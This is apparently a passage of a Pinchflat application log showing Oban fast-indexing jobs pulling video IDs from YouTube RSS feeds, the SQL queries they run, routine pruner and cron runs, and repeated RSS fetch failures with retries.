{"args":{"id":1},"id":539,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":134218,"event":"job:stop","queue_time":344645,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:49:25.617 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:55.619 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:00.022 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:50:25.620 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:55.622 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:00.023 [info] {"source":"oban","duration":370,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:51:25.623 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:55.624 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:00.024 [info] {"source":"oban","duration":285,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:52:25.626 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:55.628 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:00.025 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:53:25.630 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:55.631 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:00.025 [info] {"source":"oban","duration":145,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:54:25.633 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:55.635 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:00.027 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:55:25.636 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:55.637 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:00.028 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:56:25.638 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:55.639 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:00.028 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:57:25.640 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:55.641 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:00.029 [info] {"source":"oban","duration":113,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:58:25.642 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:55.643 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:00.031 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:59:15.535 [info] {"args":{"id":1},"id":540,"meta":{},"system_time":1784869155535190958,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:59:15.535 [debug] QUERY OK source="sources" db=0.1ms idle=389.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 04:59:15.535 [debug] QUERY OK source="settings" db=0.1ms idle=389.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:59:15.535 [debug] QUERY OK source="media_profiles" db=0.0ms idle=389.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:59:15.535 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:59:15.536 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 04:59:16.104 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 04:59:16.105 [debug] QUERY OK source="media_items" db=0.3ms idle=569.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 04:59:16.107 [debug] QUERY OK source="media_items" db=2.0ms idle=570.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 04:59:16.108 [debug] QUERY OK source="tasks" db=0.0ms idle=572.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [541, 1, ~U[2026-07-24 04:59:16Z], ~U[2026-07-24 04:59:16Z]] 04:59:16.108 [info] {"args":{"id":1},"id":540,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":573396,"event":"job:stop","queue_time":551897,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:59:25.644 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:55.645 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:00.032 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:00:25.646 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:37.622 [info] {"args":{"id":3},"id":535,"meta":{},"system_time":1784869237622519172,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":12,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:00:37.622 [debug] QUERY OK source="sources" db=0.1ms idle=476.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:00:37.623 [debug] QUERY OK source="settings" db=0.0ms idle=477.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:00:37.623 [debug] QUERY OK source="media_profiles" db=0.1ms idle=477.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:00:37.623 [debug] QUERY OK source="settings" db=0.0ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:00:37.623 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 05:00:37.661 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 05:00:37.661 [debug] QUERY OK source="media_items" db=0.2ms idle=38.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 05:00:37.664 [debug] QUERY OK source="media_items" db=2.9ms idle=38.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 05:00:37.665 [debug] QUERY OK source="tasks" db=0.0ms idle=41.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [542, 3, ~U[2026-07-24 05:00:37Z], ~U[2026-07-24 05:00:37Z]] 05:00:37.665 [info] {"args":{"id":3},"id":535,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":42990,"event":"job:stop","queue_time":898431,"attempt":12,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:00:55.647 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:00.032 [info] {"source":"oban","duration":111,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:01:25.648 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:55.649 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:00.034 [info] {"source":"oban","duration":149,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:02:25.650 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:55.651 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:00.035 [info] {"source":"oban","duration":119,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:03:25.652 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:55.653 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:00.035 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:04:25.654 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:55.655 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:00.037 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:05:11.906 [info] {"args":{"id":2},"id":537,"meta":{},"system_time":1784869511906379922,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":12,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:05:11.906 [debug] QUERY OK source="sources" db=0.0ms idle=760.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 05:05:11.906 [debug] QUERY OK source="settings" db=0.0ms idle=760.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:05:11.907 [debug] QUERY OK source="media_profiles" db=0.0ms idle=760.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:05:11.907 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:05:11.907 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 05:05:12.376 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":2},"id":537,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":469564,"event":"job:exception","queue_time":94413,"attempt":12,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:05:25.656 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:55.657 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:00.038 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:06:25.658 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:55.659 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:00.039 [info] {"source":"oban","duration":313,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:07:25.660 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:55.661 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:00.040 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:08:25.662 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:55.663 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:00.041 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:09:16.156 [info] {"args":{"id":1},"id":541,"meta":{},"system_time":1784869756156449844,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:09:16.156 [debug] QUERY OK source="sources" db=0.1ms idle=1009.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 05:09:16.157 [debug] QUERY OK source="settings" db=0.0ms idle=1008.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:09:16.157 [debug] QUERY OK source="media_profiles" db=0.0ms idle=10.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:09:16.157 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:09:16.157 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 05:09:16.345 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":541,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":188137,"event":"job:exception","queue_time":47865,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:09:25.664 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:34.174 [info] {"args":{"id":1},"id":541,"meta":{},"system_time":1784869774174413443,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:09:34.174 [debug] QUERY OK source="sources" db=0.1ms idle=27.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 05:09:34.175 [debug] QUERY OK source="settings" db=0.0ms idle=27.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:09:34.175 [debug] QUERY OK source="media_profiles" db=0.0ms idle=28.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:09:34.175 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:09:34.175 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 05:09:34.374 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":541,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":199347,"event":"job:exception","queue_time":828927,"attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:09:55.195 [info] {"args":{"id":1},"id":541,"meta":{},"system_time":1784869795195449706,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:09:55.195 [debug] QUERY OK source="sources" db=0.1ms idle=1048.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", 